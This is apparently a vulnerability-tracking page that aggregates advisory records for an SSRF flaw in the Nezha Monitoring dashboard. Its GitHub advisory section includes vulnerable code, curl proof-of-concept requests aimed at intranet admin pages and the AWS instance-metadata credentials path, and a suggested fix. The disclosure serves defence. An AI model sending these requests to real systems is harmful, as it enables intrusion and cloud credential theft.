Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 20:22 UTC Customize Public modeDiscuss ChangeIntel on Discord

Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-46717

Published

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response. This issue has been patched in version 2.0.8.

Source published
12 Jun 2026 21:02:40 UTC
Source modified
13 Jun 2026 03:38:33 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

euvd · EUVD-2026-36592

Published

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response. This issue has been patched in version 2.0.8.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 12, 2026, 9:02:40 PM

dateUpdated: Jun 13, 2026, 3:38:33 AM

Source published
Jun 12, 2026, 9:02:40 PM (timezone not stated)
Source modified
Jun 13, 2026, 3:38:33 AM (timezone not stated)
Observed here
7 Nov 2026 10:39:35 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

nvd · CVE-2026-46717

Published

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. From version 1.4.0 to before version 2.0.8, nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response. This issue has been patched in version 2.0.8.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-863 · CWE-918

Original publisher date fields

published: 2026-06-12T22:16:50.957

lastModified: 2026-10-25T23:10:00.167

Source published
12 Jun 2026 22:16:50 UTC
Source modified
25 Oct 2026 23:10:00 UTC
Observed here
27 Oct 2026 13:11:40 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

osv · GHSA-w4g9-mxgg-j532

Published

## Summary nezha's dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The notification routes `POST /api/v1/notification` and `PATCH /api/v1/notification/:id` are wired through `commonHandler` rather than `adminHandler` — so a `RoleMember` user can call them. These handlers synchronously `Send()` an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response. Net effect: a low-privilege `RoleMember` can read intranet HTTP response bodies via the dashboard's hub. ## Affected versions Commit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`. ## Reachability chain ``` cmd/dashboard/controller/controller.go:121-122 auth.GET("/notification", listHandler(listNotification)) auth.POST("/notification", commonHandler(createNotification)) // <-- commonHandler, not adminHandler ``` For comparison, `/user` routes ARE gated by `adminHandler`: ``` auth.GET("/user", adminHandler(listUser)) auth.POST("/user", adminHandler(createUser)) auth.POST("/batch-delete/user", adminHandler(batchDeleteUser)) ``` `adminHandler` (controller.go:220-236) explicitly enforces `user.Role.IsAdmin()`. `commonHandler` (controller.go:214-218) does not. ## The vulnerable handler ```go // cmd/dashboard/controller/notification.go:46-83 func createNotification(c *gin.Context) (uint64, error) { var nf model.NotificationForm if err := c.ShouldBindJSON(&nf); err != nil { return 0, err } var n model.Notification n.UserID = getUid(c) n.Name = nf.Name n.RequestMethod = nf.RequestMethod n.RequestType = nf.RequestType n.RequestHeader = nf.RequestHeader n.RequestBody = nf.RequestBody n.URL = nf.URL ... ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc} if !nf.SkipCheck { if err := ns.Send(singleton.Localizer.T("a test message")); err != nil { return 0, err // <-- err.Error() reflects up to caller via newErrorResponse } } ... } ``` Identical pattern in `updateNotification` (PATCH /notification/:id) at lines 97-146. ## The reflection sink ```go // model/notification.go:113-159 func (ns *NotificationServerBundle) Send(message string) error { var client *http.Client n := ns.Notification if n.VerifyTLS != nil && *n.VerifyTLS { client = utils.HttpClient } else { client = utils.HttpClientSkipTlsVerify } reqBody, err := ns.reqBody(message) if err != nil { return err } reqMethod, err := n.reqMethod() if err != nil { return err } req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody)) if err != nil { return err } n.setContentType(req) if err := n.setRequestHeader(req); err != nil { return err } resp, err := client.Do(req) if err != nil { return err } defer func() { _ = resp.Body.Close() }() if resp.StatusCode < 200 || resp.StatusCode > 299 { body, _ := io.ReadAll(resp.Body) // <-- NO io.LimitReader return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body)) } else { _, _ = io.Copy(io.Discard, resp.Body) } return nil } ``` The full body (no size limit) is concatenated into an error string. That error flows through `commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...)`. The intranet response body is JSON-encoded back to the `RoleMember` caller. Additional wrinkle: `client = utils.HttpClientSkipTlsVerify` when `VerifyTLS` is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation. ## PoC ### A. Read intranet admin-panel response body ```bash curl -X POST -H "Authorization: Bearer <member-jwt>" \ -H "Content-Type: application/json" \ -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \ http://nezha-dashboard.example.com/api/v1/notification ``` Response: ```json {"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"} ``` ### B. AWS IMDSv2 reachability + body leak ```bash curl -X POST -H "Authorization: Bearer <member-jwt>" \ -H "Content-Type: application/json" \ -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \ http://nezha-dashboard.example.com/api/v1/notification ``` IMDSv2 returns 401 with a body explaining the missing token; that body is reflected. ### C. DoS via large internal file Because the body is read via unbounded `io.ReadAll`, a `RoleMember` pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory. ## Suggested fix 1. **Switch /notification routes to `adminHandler`.** Same fix for `/alert-rule`, `/cron`, `/ddns` if they also issue user-URL requests synchronously. Compare with how `/user` is already guarded. ```go auth.POST("/notification", adminHandler(createNotification)) auth.PATCH("/notification/:id", adminHandler(updateNotification)) ``` 2. **SSRF-harden `NotificationServerBundle.Send()`:** - Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT. - Pin `http.Transport.DialContext` to the resolved IP — closes DNS-rebinding TOCTOU. - Refuse non-http(s) schemes. 3. **Cap response body**: `io.LimitReader(resp.Body, 4096)`. 4 KB is plenty for surfacing webhook errors. 4. **Reconsider `VerifyTLS=false` toggle on RoleMember-reachable paths** — if the route remains member-reachable, at minimum cert validation should be enforced. ## Severity - **CVSS 3.1:** Medium — `AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L` ≈ 6.4. PR:L because attacker needs a `RoleMember` account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS. - **Auth:** authenticated `RoleMember` (Role == 1). ## Reproduction environment - Tested against: `nezhahq/nezha:v0.x` (commit `50dc8e660326b9f22990898142c58b7a5312b42a`). - Code locations: - Handler: `cmd/dashboard/controller/notification.go:46-83, 97-146` - Sink: `model/notification.go:113-159` - Auth gate: `cmd/dashboard/controller/controller.go:121-122` (commonHandler), 214-236 (handler defs) ## Reporter Eddie Ran. Filed via reporter API (PVR enabled). nezha's `SECURITY.md` mentions email `[email protected]` for vulnerability reports — happy to also send via email if the maintainer prefers.

Source published
23 May 2026 00:08:04 UTC
Source modified
26 Jun 2026 21:45:24 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Publisher rating · HIGH

osv · GO-2026-5687

Published

Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification in github.com/nezhahq/nezha

Source published
25 Jun 2026 22:34:38 UTC
Source modified
25 Jun 2026 23:01:40 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 7 Nov 20:22 UTC · 275 of 275 readable · 274 fully read · documentation 469/469 current